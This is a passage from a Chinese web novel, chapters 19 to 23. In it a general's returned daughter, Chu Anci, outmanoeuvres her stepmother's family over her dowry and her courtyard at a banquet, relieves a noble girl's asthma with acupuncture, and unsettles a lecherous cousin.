然后看向楚安辞,“大姑娘,你母亲对你这般好,你可不能叫她失望,不能辜负了她的心才是!”
楚安辞立即躬身低头,“大舅母说的是,我自是不敢辜负夫人一片好心的。”
抬眸间,已经擒上了水雾。
楚楚可怜的她,对上咄咄逼人的王氏,对比鲜明,让人既唏嘘又不忍。
而王氏不为所动,还语重心长的教她怎么做。
“既如此,那你就应该当着我们的面,表表孝心!”
“将你那不该有的小心思收一收,不属于你的东西都拿出来。”
“将军让你顺路带回来那么多东西,里面大多数都是你母亲和妹妹,切勿贪多!”
三两句话,就将楚安辞这个人给定了性。
点名那些东西都是将军顺路让她捎回来的,还说她自己贪心,想要独占。
如果楚安辞认下,以后的名声不好听是定了。
第19章 一切都是误会
坐在下首靠后位置的一位夫人道:
“王夫人说的是,姑娘家家的可不能这般贪心,霸占母亲和妹妹的东西,这像什么话?”
也有人跟着应和,“说的也是,这种事情确实好做不好说啊!”
楚安辞眼角余光瞥了一眼说话的妇人。
样貌平平,穿着平平,不起眼。
但她很快认出了那人:工部主事林大人的妻子,因男人在萧长天,也就是萧晴的哥哥手底下,所以一直对王氏和萧氏很是巴结。
再看看另外说话的人,不认识。
估计是哪个爱凑热闹的娘子,想要在萧家和萧晴面前卖个好。
如果不是,那就是纯纯的多管闲事,搞不清楚状况的。
“大姑娘刚回来不久,这其中可能有什么误会!”冯夫人不忍一个姑娘被这般为难。
也深知名声对女儿家的重要,不禁开口。
萧二夫人道:“话确实如此,这样的名声传出去于姑娘家可不好,楚大姑娘你可有话说?”
楚安辞眼中依旧擎着泪,但感激的看了一眼冯夫人和萧二夫人,然后委委屈屈的对萧氏道:
“夫人,这件事情我以为刚回来的时候,已经说清楚了,没想到还能造成今日的误会。”
“虽然那些都是我自己十几年攒下来的嫁妆,但夫人真的想要,大舅母又这般说了,做晚辈的拿出来就是!又何苦在这污我名声~”
她抽噎两声,拿起帕子在眼角按了按,一脸的伤心,“都是我不好。”
“我不应该听爹爹的,将这些东西自己留着!”
“回来之前我就说过,这些东西虽然攒了十多年,很是辛苦,但我愿意给夫人的。”
“可是爹爹心疼我,说那本就是我自己的东西,加上娘亲早早没了,他怕我没人给做主,这才让我将东西都带了回来,还叮嘱我好好保管!切勿随意交给她人!”
“在北境时,我一向最听爹爹的话,所以这才......”
听到这话,又聪明人不动声色的看了一眼萧氏。
楚安辞这话不就是在说,将军在防着萧氏吗?
“对不起,都是安辞不好,安辞不该拿着这些东西的。”
又看向王氏和萧老夫人,“北境苦寒大家是知道的,爹爹掌管几十万大军,军中花费也多,虽然有朝廷的粮草,但依旧不足。”
“爹爹为了不让将士们挨饿受冻,自己的俸禄饷银,都拿出来填补军中。”
“我原本也想将这些拿出去的,可是爹爹没同意。”
“所以即便爹爹想要给夫人什么,怕也是没有多余能拿出来的。”
“在此,我愿意替爹爹补偿夫人,我攒下的那些私房都交给夫人可好?”
“我没事的,等我出嫁也可以不要嫁妆的,夫人对我这般好,我不能忘恩负义。”
“更不能让爹爹名声有污!”
大家看楚安辞一个人孤零零的站在那里,脊背挺得笔直,一心为自己父亲说话,还给萧氏道歉,将所有责任拦在自己身上的样子,不免心疼。
萧二夫人微微蹙眉,“这么说来,那些东西都是大姑娘的私房,并不是将军让带回来给将军府的!”
楚安辞微微颔首,“嗯,因为北境生活苦,我为了让爹爹和哥哥过得好一点,也做了些事情,赚了点银子。”
“十几年来,这才攒下了这么多。”
“父兄一心为君,为朝廷,为百姓,为将士们,从不在意自己,做女儿的不忍他们受苦,所以只能尽自己所能,让他们回到家时,可以得到一些应有的待遇。”
萧二夫人惊讶,“那些都是你自己赚的?”
楚安辞再次点头,“是!”
“还真是个好孩子,这些年跟着父兄在北境,辛苦你了,小小年纪还需操劳这么多!”
然后看向萧家几人,“做长辈的,还抢孩子自己的东西,这着实不妥。”
萧二夫人一脸的不赞同。
其他人有的也低声和身边的人说着话,虽然声音不大,但那眼神,萧晴不听都知道她们在说什么。
她连忙去拉楚安辞的手,眼泪说落就落,“大姑娘这都说的哪的话!”
“嫂子她不是那个意思,我做母亲的怎能要小辈的东西?”
“也是我没有与嫂子说清楚,大姑娘带回来的那些,确实都是她自己的私房,将来要放进嫁妆里的。”
“我一个继母去抢女儿的嫁妆,传出去我还要不要活了?”
“且不说这些,等大姑娘出嫁,我做母亲也肯定是要再多准备一份的,到时候定要大姑娘风风光光的出嫁!”
然后心疼的看着楚安辞,“只是没想到,你在那里跟着吃了这些苦,我就该早点派人将你接回来的!”
楚安辞也顺势跟着哭了两声,“多谢夫人关心,能陪着爹爹和哥哥,即便苦一点我也是愿意的!”
成了,过了明路,以后她们母女再打我那些东西的主意,那就要被所有人戳脊梁骨了。
楚安辞垂下的眸中闪过狡黠。
王氏见此,也不好再说什么讪讪一笑。
“哎呀,原来竟是这样,你说说你这姑娘也不说清楚,到叫我们误会你了。”
而一直没有多言,看着这一切的宣平侯府沈夫人,在得知那日楚安辞拉回来的几车东西,都是她的私房,将来会放进嫁妆后,心中一喜。
手中的帕子不禁攥紧:那些东西可不少,这样的话,那些岂不是都会跟着进宣平侯府?以后都将是我们侯府的。
之前就听琼珠说过,这楚安辞在翡翠阁一买就是上百两的首饰,可见是个有钱的。
手里不宽松,岂会那般大手大脚的花。
等她嫁进来,我定要将东西都接手了,放在她手里那般大手大脚,岂不都浪费了?
她这会再看楚安辞的眼神,比一开始柔和了许多。
“我就说嘛,楚大姑娘是个懂事的,将来嫁给我们岚儿,定能相夫教子!”
楚安辞闻言心中冷笑,面上确实一副娇羞状。
楚潇雨狠狠瞪了楚安辞一眼,随即垂眸,掩下眼底的嫉妒。
她对萧氏道:“母亲,我带姐姐去认识一下我的小姐妹们!”
萧氏点头:“好,你们去玩吧,在这里倒是我们驹着你们了!”
说笑间,楚安辞被楚潇雨拉着出了静安居,往院子里去。
将军府本就大,今日宴请宾客,自然开放了大半的地方,让大家随意赏玩。
走了一段距离,楚安辞便看到了隐蔽处的蓝英。
蓝英对她点点头。
楚安辞拉住楚潇雨,“二妹妹,你先去,我稍后就去。”
楚潇雨道:“姐姐可是身体不适?”
楚安辞摇头,“没有,只是刚刚喝多了点茶水!”
楚潇雨明白了,摆手,“那我先过去了,姐姐一会过来找我,我介绍京城小姐们给你认识!”
“嗯,好!”
看着楚潇雨带着采姝离开,蓝英这才过来道:“小姐,您要找的人在池塘那边的凉亭里。”
“好,带路!”
主仆三人靠近凉亭,楚安辞便感受到一阵冷意,“京城的气温也冷了!”
白灼道:“嗯,不过比起北境可是差远了,小姐,那边凉亭里放了暖炉,我们过去那边做吧,还能顺便烤烤火。”
“一边烤火,一边赏景多好!”
主仆三人便径直进入了被帷幔遮掩的凉亭。
因为天气寒凉,凉亭四周挂了帷幔。
但还是开着一面供人赏景。
旁边放了两个小火炉,即便是在外面,又是在水边,也不会觉得那么冷。
凉亭的台子上,还摆放了一盆晚菊。
此刻这里面正好有人一边烤着炭火,一边欣赏着晚菊。
楚安辞进入凉亭的时候,那小姐正索然无味的波弄着晚菊的花瓣,似要将它数清楚一般。
“姐姐可有数清楚这有多少瓣?”
楚安辞看到那女子,用轻快的声音打趣。
那人见到楚安辞,先是怔了一瞬,然后起身和楚安辞互相一礼,笑道:
“不过是打发时间罢了,这位妹妹是哪个府上的,之前不曾见过!”
楚安辞顺势坐下,白灼给倒茶。
“我是将军府的嫡长女,名安辞。”
那人又是微微惊讶,随即了然,“原来你就是刚刚归京的楚大妹妹。”
“楚大妹妹好,我是靖安伯府的沈芷兰。”
第20章 三日的自在
楚安辞道:“归京后,曾听闻过沈姐姐的名声。”
“都言靖安伯府大小姐,温婉端庄,娴静有礼,今日见着沈姐姐,果然是个极其温柔的人。”
沈芷兰微微一笑,“妹妹切莫说笑,那不过都是些虚名。”
“倒是妹妹,生的好生俊俏,性格也好!”
楚安辞仔细打量着沈芷兰,突然问道:
“沈姐姐身体可是有什么隐疾?”
沈芷兰一怔,“妹妹为何这般问?”
楚安辞不疾不徐道:“我见姐姐面色微白,说话声音清浅,气息似有不足,略有猜测。”
“我在北境时为了帮助父兄,曾拜师学过几年医术,姐姐如果不介意的话,我给姐姐把脉看看可好?”
沈芷兰有些犹豫,但对上楚安辞那纯澈的眼神,还是伸出了手。
楚安辞微微一笑,指尖轻轻搭上沈芷兰的脉搏。
片刻后道:
“姐姐可是自小便有喘疾?”
沈芷兰更加惊讶了,“妹妹竟真的能看出?”
收回自己的胳膊,低头道:“我确实有喘疾,这事只有家人知晓,没想到竟被楚大妹妹一眼看出来了。”
“其实我在这里,也是因为觉得屋子里人多了,会觉胸闷,这才想着出来透透气。”
“平时也多养着,很少走快路,或者爬山等。”
楚安辞道:“喘疾确是如此,如有剧烈运动,例如爬山便会引发。”
“发病时会咳嗽,胸闷,甚至还有窒息感。”
沈芷兰看向楚安辞的眼神更加郑重,“楚大妹妹竟懂得这般多!”
白灼道:“我们小姐可不止懂这些,还能治呢!”
沈芷兰身边的丫鬟忍不住道:“怎么可能?给我们小姐看诊的太医都说过,喘疾之症只能缓解,无法根除!”
沈芷兰道:“是,不过只要我不剧烈活动,是无大碍的。”
楚安辞笑道:“沈姐姐,你要不让我试试,我有把握帮你治好!”
沈芷兰虽然惊讶楚安辞会这般说,但依旧还是摇头,“妹妹就不要说笑了,太医都说了,这病无法根治的。”
楚安辞:“沈姐姐,我没有说笑,如果不信,要不这样,我先给你扎两针,保你三天内无论作何运动都不会复发!”
见沈芷兰依旧不信,楚安辞接着道:“想必沈姐姐从小到大,一直没敢放肆的奔跑过,亲自爬过山吧?”
“我跟你扎针,你这三天随意做你想做的,我可以保证,喘疾绝对不会发作。”
“信不信,沈姐姐不若一试!”
“沈姐姐想不想和常人一样,肆无忌惮的奔跑,跳上几次,体验放纵的感觉?”
沈芷兰听到楚安辞的诱惑,心中蠢蠢欲动。
她何曾不想,从小到大,每每见到别人爬山,或者放开自己的身体大步快走,她都很是羡慕。
而她却只能挪动莲步,缓慢前行,丝毫不敢走快,更不敢多走一步。
因为身体一旦觉得有一点疲惫,或者稍微快一些,她便会有窒息感,胸闷难受。
沈芷兰看向楚安辞,“你真的可以吗?”
楚安辞点头,很是自信。
沈芷兰的丫鬟道:“小姐,如果真能根治,太医岂会没有法子?”
“什么人的医术能比得上宫中太医?”
她怕楚安辞是在说大话,害了她们家小姐。
但沈芷兰却很想试一次,也想放纵一次自己的身体,哪怕只有短短三日。
“好,我愿意一试!”
楚安辞道:“好,那随我来!”
楚安辞领着沈芷兰前往瑶华居,那小丫鬟急的不行,生怕小姐出什么事。
连忙去寻找他们夫人去了。
等那丫鬟急匆匆领着冯夫人来到瑶华居,楚安辞已经给沈芷兰施完针了。
“小姐!”
丫鬟赶忙进来查看。
冯夫人这会脸也阴沉的难看,她看了一眼沈芷兰,对楚安辞厉声道:
“楚大小姐,枉我之前还念你被人咄咄相逼,出言相互,你就是这般回报我的?”
“你刚刚到底对我女儿做了什么?”
楚安辞知道冯夫人关心女儿心切,也没生气。
只是道:“夫人莫急,您先看看沈姐姐再说也不迟!”
冯夫人眉心微皱,看向正呆呆坐在那里的女儿,心下又是一紧,“我女儿这是怎么了?”
楚安辞推了推沈芷兰,“沈姐姐,你要不要起来活动活动?”
沈芷兰已经从身体突然变得轻快的状态中回过神来,道;
“哦,好!”
她直接尝试着在屋内跳了几下。
这几下,可是将冯夫人和她的丫鬟吓坏了。
“小姐!”
“芷兰不可!”
但沈芷兰感受了一下,竟然没有窒息感,也没有胸闷,更没有咳嗽。
她又围着桌子跑了两圈,开心的拉着母亲的手,“母亲,我没事,我没犯病,真的没犯病,您看!”
她又跳了几下,因为常年娇养,几乎没有剧烈运动,就这几下已经累的她略带娇喘。
但脸颊红扑扑的,眼中都是兴奋,一点不像发病的样子。
冯夫人惊住了,“真......真的没事了?”
“芷兰,你真的好了?”
沈芷兰点头,“没事,我真的没事,母亲,我真的没有再犯病。”
她终于扭头看向楚安辞,“谢谢你,楚大妹妹!”
楚安辞道:“这不算什么,不过喘疾之症没有根治,只是可以让沈姐姐松快三日。”
“这三日,沈姐姐可以试着去做一做你想做的事情,三日后再看成效!”
“到时沈姐姐如果想要根治,便派人来寻我就是!”
冯夫人看着眼前明艳的少女,没了之前受了委屈,依旧坚挺的模样。
反而明媚柔和,但柔和中又带了一丝刚毅。
“多谢楚大姑娘了!”
楚安辞微微颔首一笑,送母女二人离开。
等他们走了,白灼一边帮着楚安辞将针包收拾好,一边道:
“小姐,你给这位沈大小姐看病,是想要通过她,拿到冯夫人手中的画吗?”
楚安辞道:“是,也不是!”
白灼不解的看向她。
楚安辞解释道:“一个喘疾,冯夫人会感激我救她女儿,但不足以让她拿出她珍藏之物。”
“这也算是我报答她之前在众人面前相护我的恩情了。”
白灼:“那我们如何拿到她手里的画?”
楚安辞道:“我的目标是伯府那位老太君。”
“走吧,我们也出去走走,今日来了不少人,我们不好躲在这里。”
三人刚走出瑶华居的院门没几步,隐隐就听到有人议论声。
声音没有刻意压制,好似就怕别人听不见一般。
“潇雨,你就是脾气太好了,她一回来就抢你东西,你怎么就不知道反击?”
“对啊,这瑶华居明明就是你的院子,从小到大你都是住在这里的,凭什么她一回来,你就得将院子让给她?”
“她算什么,还真是好大的脸,一回来就跟你抢东西。
你看看她今日穿的戴的,都是最好的,你再看看你,有哪一样比得过她?”
“潇雨,真是委屈你了!”
紧接着是楚潇雨那委屈,又强自镇定的声音,“我没事的,姐姐刚回来,她在边关又受了那么多苦,我该让着她的!”
“哎呀,你们就别这么说了,我真的没事的。”
“只要姐姐开心,我让出一些也没什么的。”
“什么叫没什么?”
听到这个声音,楚安辞微微挑眉:这不是沈琼珠的声音吗?
“我看她就是仗着自己受将军的疼爱,这才故意欺负你,走,凭什么让你受气,我们找她去,一定要将你的院子给抢回来。”
楚潇雨一边假意挣脱,一边道:“不好吧,琼珠,我真的没事的,还是不要了。”
“不要因为一个院子,伤了我们姐妹感情!”
沈琼珠道:“你为她考虑,她怎么就不曾为你考虑,回头我一定要将这件事告诉哥哥,让他看看这是什么样的未婚妻,要他取消这门婚事。”
第21章 撒野
“取消什么婚事?呀,你们都在这里啊,我说怎么没见到人!”
楚安辞装作无意路过的样子走了出来,几人先是一怔,随即又略带嫌弃的看着她。
楚安辞有些无辜的看向几人,然后看看自己,似乎她真的只是路过,什么都没有听到。
“我怎么了吗?”
沈琼珠道:“楚安辞,没想到你竟然这般无耻。”
楚安辞一下愣住了,眼中强忍着泪,“沈小姐,我知道你不喜欢我,可是你也不能这般说我,我并没有招惹你,你为何就是不放过我!”
声音中带着柔软的倔强。
如果是男子,肯定不忍她再受气,甚至还会站出来护着她。
然而沈琼珠见到楚安辞这般,她心中的怒火更盛了。
沈琼珠气愤的瞪着她,“你是没有招惹我,但是你欺负潇雨了。”
“潇雨是我最好的朋友,与我一起长大,谁也不许欺负她!”
楚安辞后退,看向楚潇雨,“妹妹,你快跟她们解释,我不曾欺负你的!”
楚潇雨更是难过又担忧的道:“那个,琼珠,要不还是算了吧,姐姐她.....”
沈琼珠甩开楚潇雨拉自己衣袖的手,“潇雨,你都被人欺负了,怎么还让我算了?”
楚安辞道:“我真的不曾欺负妹妹的,你们为何非要这般说?”
一直站在楚潇雨身边的少女走了出来,上下打量了一下正楚楚可怜的楚安辞,眼中闪过嫉妒:
这就是之前那位留下的女儿?没想到竟然长得这么好看,比表姐还好看。
她抬手摸了摸自己的脸,冷眼看着楚安辞,“你说你没欺负表姐,那你为何还要抢表姐的院子?”
“瑶华居是表姐从小住的地方,你一回来就将表姐赶走了,还说你没抢?”
然后指着她身上的衣服道:“你看看你身上的衣服,都是最好的云锦,还有首饰,你再看看表姐。”
“明明你回来之前,这些都是我表姐的,凭什么你一回来,我表姐就得矮你一头?你还说你没抢?”
楚安辞咬着唇,眼泪已经顺着脸颊滑落,“我没有,真的没有!”
说话间,表妹萧梅儿已经走到了楚安辞面前,抬手推了她一下。
如果不是蓝英和白灼手快,赶忙扶着,楚安辞就已经摔倒了。
白灼站出来护着楚安辞,“你是谁,不许你欺负我们小姐,这里可是将军府,不是你撒野的地方!”
萧梅儿冷嗤一声,“你一个丫头也配跟我说话?我姑姑是这里的当家主母,在这里我说处置了你,没人能护着。”
“来人,将她给我拉下打二十大板!”
紧接着,两个健壮的仆妇上来,就要拉白灼。
蓝英一步跨出,都没看清她怎么出手的,那两个仆妇已经飞出去好远。
咚咚两声落地,紧随而来的便是一阵惨嚎。
“你,你竟敢动手?”
萧梅儿指着蓝英。
蓝英冷眸扫向萧梅儿,将萧梅儿吓得一颤。
收回伸出去的那只手。
蓝英可是跟着楚安辞多次上过战场的,她周身杀气放出来的时候,没有几个人不怕。
沈琼珠看向楚安辞,“楚安辞,你竟然让你的丫鬟动手打人?”
楚安辞脸色很冷,眸中杀意一闪而逝,整个人看着完全不似之前那般。
她看向萧梅儿,“白灼是我的人,没人能动她,除非那人手不想要了。”
楚潇雨眉头微蹙,第一次见到这样的楚安辞,让她也有些发怵。
“姐......姐姐,你怎能打人呢?”
楚安辞看向楚潇雨,道:“白灼是我的人,蓝英是哥哥亲手教导武功,专门保护我的人,这两人谁敢动,我绝不会放过!”
“这是怎么了?”萧氏等人听到动静,一起走了过来。
见到萧氏她们,萧梅儿立即跑了过去,拉着萧氏的胳膊道:
“姑母,你看楚安辞,她抢了表姐的院子,我们不过是说她几句,她竟然让她的丫鬟动手打人!”
她还指了指被蓝英打出去,刚刚才爬起来的两个仆妇。
萧氏道:“大姑娘,这是怎么回事?”
“下人如果犯了错,告诉我便是,怎能放任下人打人呢?”
楚安辞刚才的样子已经在她们到来的时候收敛,听到萧氏问话,她看向萧氏:
“夫人,蓝英刚刚也不是故意的,谁能想到表小姐竟能做得了将军府的主?竟然让下人欺辱我!我更没想到,我的丫鬟不过是护着我,就被表小姐下令打板子。”
“白灼也是护主心切,蓝英更是奉命保护我,难道这样也错了吗?”
“如果真的是我错了,那,那我就再让表小姐打两下好了。”
“还有那两个仆妇,我们这次绝不还手,表小姐再让动手便是。”
萧氏心头一梗,使劲攥着手中的帕子:楚安辞说的这都是什么话?
是在说将军府的下人,竟然只听表小姐的话,连嫡小姐的身份都不顾了?
还是说娘家已经能做将军府的主了?这话传出去,我岂不被所有人戳脊梁骨,说我仗着将军父子不在,让娘家人在府中作威作福,欺负先夫人留下的女儿?
还有,梅儿刚刚对楚安辞动手了?这到底怎么回事?
萧氏看了看萧梅儿,又看向楚潇雨,“雨儿,你说,这到底怎么回事?”
楚潇雨看了看楚安辞,又看了看萧梅儿,“母亲,都是我不好,都是为了我让表妹和姐姐产生了隔阂,都是我不好。”
说着,她就抽泣起来。
沈琼珠道:“潇雨,这哪里是你的错,这明明都是楚安辞的错。”
“她抢你的院子不说,还抢你的衣服首饰,这本就是她的错!”
这下换成楚安辞抽泣了,“我真的没有。”
她指了指身上的衣服,“妹妹,这真的是你的吗?我真的不知道的。”
“这些都是夫人院子里的人送过来的,还说是夫人特意命人给做的,我真的不知道这些都是你的。”
“如果早知道,我是定然不会要的。”
楚潇雨道:“不是的,这本就是母亲专门给姐姐做的,这本就不是我的。”
沈琼珠道:“哼,即便是你的又如何,这些最好的本该是潇雨的,如果不是你回来,潇雨岂能还穿着去年的款?”
楚安辞更惊讶地,不解的看向楚潇雨,“这是去年的款吗?”
“可是我明明记得,绣娘来给我量身裁衣的时候说过,我们姐妹两个一起做的,说是今日赏花宴穿。”
“妹妹的新衣服难道没做出来?可是不应该啊?”
楚潇雨已经不哭了,她扯了扯嘴角道:“没有,做出来了,是我今早赶得及,穿错了。”
楚安辞也收了泪,“那就好,吓死我了,我还以为真的是因为我回来,抢了本该属于妹妹的东西!”
萧氏一听,这话如果传到将军耳中,将军定然会斥责她,连忙道:
“大姑娘这是哪的话,你们都是将军府的小姐,一个人有的,另一个人也都有的,不分先后。”
“所以没有什么你的我的。”
萧梅儿却道:“衣服首饰就不说了,权当表姐穿错了,可是你抢了表姐的院子这可是事实,你怎么解释?”
“表姐从小到大都住在瑶华居,凭什么你一回来就抢走了?”
楚安辞:“不是这样的,瑶华居真的是我的院子,我离开京城前住的就是瑶华居。”
她看向萧氏,“夫人,您快给解释解释,瑶华居真的本就是我的院子。”
“之前您不是说妹妹住在那里,是怕院子久无人居住老旧了,所以才让妹妹住进去给看着吗?”
一旁赵氏道:“话是这么说,不过人在一个地方住久了,确实也是有感情的。”
“虽然是你的院子,但雨儿住了那么长时间,你怎舍得就那么让她搬走?如果懂事,就合该让着妹妹才是。”
第22章 小白花杀鱼
楚安辞失落,“不是这样的,我没有故意和妹妹抢!”
“我回来住瑶华居,是因为爹爹特意说过,那是我娘生前专门为我准备的院子,就连名字也是哥哥给取的。”
“里面的一草一木,风格摆设,都是娘亲生前精心设计布置的,所以我才......”
她眼中再次含着热泪,看向楚潇雨,“妹妹,你母亲在你身边,可是我娘亲留给我的只有这些了,虽然我很想让给你,但是瑶华居,我不能!”
“还请妹妹不要怨怪姐姐才是。”
有人看不过去道:“是啊,怎么说这也是人家生母留给人家唯一的念想,这怎么都抢呢?”
“这孩子没了娘亲,父亲又不在身边,真是可怜。”
面对大家的议论,和不善的眼神,萧氏连忙打圆场,“不是的,不是的,之前我就说过,雨儿是在帮你看着院子,怎可能与你抢呢?”
“大姑娘可别想岔了,怨怪你妹妹,雨儿绝没有那个心思的。”
楚安辞面上虽然依旧是那副委屈又倔强的样子,但心底却泛起冷笑:
又想甩锅,门都没有!
“既如此,妹妹一开始就该解释清楚才是?不然何至于闹到这等地步?”
“反倒伤了我与表小姐的感情。”
“妹妹这是担心我抢了你的朋友吗?妹妹放心,不会的,你的朋友依旧还是你的,我不会抢的。”
这种人,我可不想靠近!
楚潇雨深吸一口气,努力让自己平静,“没有的姐姐,是我嘴拙,刚才太着急了一时没解释清楚。”
“啊,那就好。我还以为妹妹也不喜欢我,这才不解释清楚的。”楚安辞也松了口气的样子,甚至还破涕为笑。
萧二夫人看了全程,心中已经什么都明白了,也看穿了萧氏母女的心思。
看到楚安辞傻傻的样子,心道:楚大姑娘心思还是太过单纯啊,没娘的孩子就是可怜。
不远处,有几名男子刚好也远远的看到了这里发生的事情。
其中一人摸着下巴,眼神直直的盯着楚安辞:这就是那位表妹,长得还真是楚楚动人,惹人恋爱啊!
随即想起什么,对一旁同样笔直站在那里的沈厉岚道:
“沈世子还真是好福气,有这样一位绝美可人的未婚妻。”
沈厉岚眼神冷冷的扫了说话的人一眼,“你作为她们的表哥,合该注意言辞才是,莫要损了两位妹妹的名声。”
沈厉岚没有再搭理萧玦,径直转身离开。
沈厉岚走后,萧玦冷笑一声,再次看向楚安辞的方向。
而在他们另一边,还有几人也看到了这边发生的事情,萧起道:
“楚妹妹太委屈了,别人抢了她的东西,自己只是拿回来罢了,竟然还要受气。”
他踢了一脚身边的沈厉安,“唉,你看看你那堂妹咄咄逼人的样子,犹如泼妇!”
沈厉安道:“我那堂妹一向与楚二小姐交好,自然会向着她,这也情有可原!”
然后用下巴点了点另一个方向,“不过世子,你看那边,那萧玦似乎是盯上了你的楚妹妹。”
萧起眼神微眯,看向萧玦的方向,啐了一口,“我呸,就他?真是侮辱了萧这个姓。”
萧国公府和萧家虽然同姓萧,可没有一点关系,只是纯纯的巧合。
虽然同样都是不务正业的纨绔,但萧起很是瞧不上萧玦。
因为他觉得,萧玦这人没底线,与他同为纨绔,简直就是侮辱了纨绔的名声。
不过试问一下,纨绔有名声吗?
误会解决,一行人散开。
楚安辞因为刚回来,在这里并没有什么好友,所以在大家都三三两两聚在一起的时候,只她一人形单影只,站在池塘边吹着冷风,静静的望着平静的水面发呆。
虽然已经进入冬天,但水面还没有结冰。
水面上不时泛起点点水花荡漾开,清澈的水下,隐约能看到几条小鱼游动。
蓝英见她家小姐盯着水面跃跃欲试的样子,就已经知道了她想要做什么。
在旁边找了找,然后伸手递给楚安辞几个小石子。
楚安辞接过来,笑了笑,“蓝英懂我。”
蓝英速来没什么表情的脸,依旧没什么表情。
楚安辞已经迫不及待,将手中的石子射了出去。
水花溅起,但也只是一下,并没有泛起多大涟漪。
楚安辞嘴上呢喃,“中了!”
“表妹怎一个人在这里?”
一个男子的声音在背后响起,楚安辞转身看去,一下就认出了来人。
萧玦?这不是萧家那位吃喝嫖赌样样都玩,但又样样不精的败家子吗?
萧玦已经走至近前,“我是你表哥,萧玦啊。”
然后露出一个自以为风流,实则在楚安辞看来有些恶心的笑。
“表妹站在这里多久了?水边风寒,走,表哥带你去那边暖和暖和!”
说着就要来拉楚安辞的手。
楚安辞不动声色的避开了,颠了颠手中剩下的石子,指了指水面,“表哥既然来了,一起玩吧!”
“玩什么?”
萧玦看了看水面,这里什么都没有,有什么好玩的?
楚安辞分了一个石子给他,“当然是扔石子啊!”
萧玦挑眉,“原来表妹竟然喜欢这个,看表哥的。”
接过石子,找了个姿势将石子飞了出去。
萧玦是想打水漂的,但可惜,他这人连玩都不行。
石子直直的落入水面,还溅起了一片大大的水花。
萧玦摸摸鼻子,自觉有些丢脸,强行挽尊,“这个,太久没玩了,手有点生,这都是小孩子玩的东西,以前我可厉害了。”
楚安辞只是轻轻一笑,将自己手中的石子扔了下去。
萧玦见石子没入水中,笑出声来,“原来表妹也是在练习啊!”
“没关系,多练一会就好了,来,我教你。”
然而下一刻,他突然就笑不出声来了。
只见湖面上浮起两条鱼,鱼翻了肚皮,一动不动的躺在那里。
而那个位置,正是楚安辞石子落下的地方。
隐隐的,他似乎看到了红色在水中晕开。
那鱼死了?肚皮破裂而死的。
“这......这是......”嗓音都尖锐了。
他再看向楚安辞的时候,虽然眼前的少女还是那般单纯的笑,眼神也是依旧的纯澈干净。
但偏偏却让他脊背一寒,忍不住后退一步。
楚安辞欣赏着他诧异又恐惧,还带着迷茫不解的神色,几息后道:
“从小哥哥就带我去打鱼,本以为这一手已经生疏了,没想到还可以。”
“只是可惜了,鱼有点远,也不大,为了两条小鱼下水,不值当。”
萧玦咽了咽口水,扯了扯嘴角,“这样啊,表妹还挺厉害的。”
“表妹想吃鱼,一会我让人去外面买两条大的就是。”
他再次打量了一下楚安辞,身形看着瘦弱,弱不禁风的样子,完全不像是能打死两条鱼的。
但再看到她那张脸,心中又是一阵悸动。
萧玦正犹豫着,怎么与这位刚回来的表妹更亲近一番,最好能让她成为自己的。
这样的美人,在京城可也是难得的。
就听到三三两两的几个人正朝这边走来。
听那声音,好像是他那亲表妹。
果然,很快有三道身影转了过来,一男两女。
男的自然便是沈厉岚,而女的则是沈琼珠和楚潇雨。
楚潇雨走在兄妹二人中间,眼睛微红似是刚刚哭过的样子。
旁边的男人一边走,一边低头哄着。
“让二妹妹受委屈了,我会让她给你道歉的。”
楚潇雨摇头,“不用了沈哥哥,我没事的,本就是我占了姐姐的东西,现在还给她也是应该的。”
然后抬眼看向沈厉岚,微红的眼眶,亮晶晶的黑眸满是信任和依赖。
“沈哥哥,只要你和琼珠,你们一直信我我就心满意足了。”
沈厉岚看到楚潇雨眼中的信赖,心底微微一颤,他清俊的脸上浮上一抹极其温柔的笑,抬手摸了摸楚潇雨的头顶。
“傻丫头,你从小跟在我屁股后面,我不信你信谁?”
她如此依赖我,我岂能辜负?
第23章 最好的选择
楚潇雨开心的笑了,“我就知道沈哥哥最好了。”
这一幕清晰的映入楚安辞的眼中,如果是上一世的她,心里因为傻傻的爱着沈厉岚,将他当做自己的一切。
看到这样的一幕,心中难免是伤心难过。
可是现在的她,心早就已经被她亲手舍弃了。
所以这样的一幕,并不能伤她分毫。
但人家都演戏演到自己眼前了,不配合一下,似乎又不合适。
她正犹豫着要不要说点什么,或者哭闹一番的时候,楚潇雨似是刚看到她一般,害羞又紧张自责的道:
“姐姐,我不知道你在这里。”
“你别误会,刚刚,我和沈哥哥没什么的,沈哥哥只是拿我当妹妹......”
她焦急的看向沈厉岚,“沈哥哥,你快和姐姐说一说,别让姐姐误会了我们才好!”
沈厉岚看向楚安辞的时候,之前的温柔完全消失,反而是冷厉又厌恶的看向她,可是话确实对楚潇雨说的。
“我们没做什么,不需要跟她解释。”
然后走到楚安辞面前,冷声道:“之前因为你,让二妹妹受了委屈,楚安辞你作为姐姐不知道友爱姐妹,这就是你的教养?”
“现在,像二妹妹道歉!”
楚安辞冷笑,“我让二妹妹受委屈了?我怎么不知道?”
她看向楚潇雨,“妹妹,我刚才一直在这里,不曾与你说什么,我何时让你受委屈了?”
“难道是因为刚才我的存在打扰了你们,那真的对不住,只是......”
她抬眼看向沈厉岚,“妹妹与未来姐夫那般亲近,叫人看到实在不好,以后还需注意才是!”
沈厉岚微微凝眉:她这话什么意思?她不吃醋?
楚潇雨连忙摆手,“不是的,姐姐。”
“刚刚沈哥哥只是为了安慰我,我们真的没什么的。”
楚安辞点头:“我知道你们没什么的,妹妹不用紧张,你是我妹妹,我岂会不信你?”
见楚安辞三言两语岔开了话题,沈琼珠道:
“你刚刚没听懂吗?我哥哥让你给潇雨道歉!”
“之前因为你,潇雨可是受了大委屈,你快道歉。”
“如果你不道歉,我哥哥是绝对不会原谅你的。”
楚潇雨赶紧拉住沈琼珠,“琼珠,不用了,我没事的真的。”
“反倒是你,这般对姐姐,姐姐不喜欢可怎么办,以后你们还是要相处好久的。”
沈琼珠冷笑,“与她相处?”
她用挑剔的眼光看着楚安辞,“到了我们宣平侯府,她也得听我的。”
楚潇雨:“琼珠,不要乱说!”
“姐姐,你别介意啊,琼珠只是心直口快,没什么坏心的。”
“你可别因为琼珠说话不好听与她计较!”
沈琼珠闻言,心道:难道我还需要看她脸色不成?她也配。
楚安辞摇头:“妹妹放心,我不会和沈小姐计较的!”
沈琼珠冷哼,“哼,你算什么东西?也敢与我说什么!”
楚潇雨温声劝道:“我知道你现在与姐姐有矛盾,但是你好歹也得为以后想想不是。”
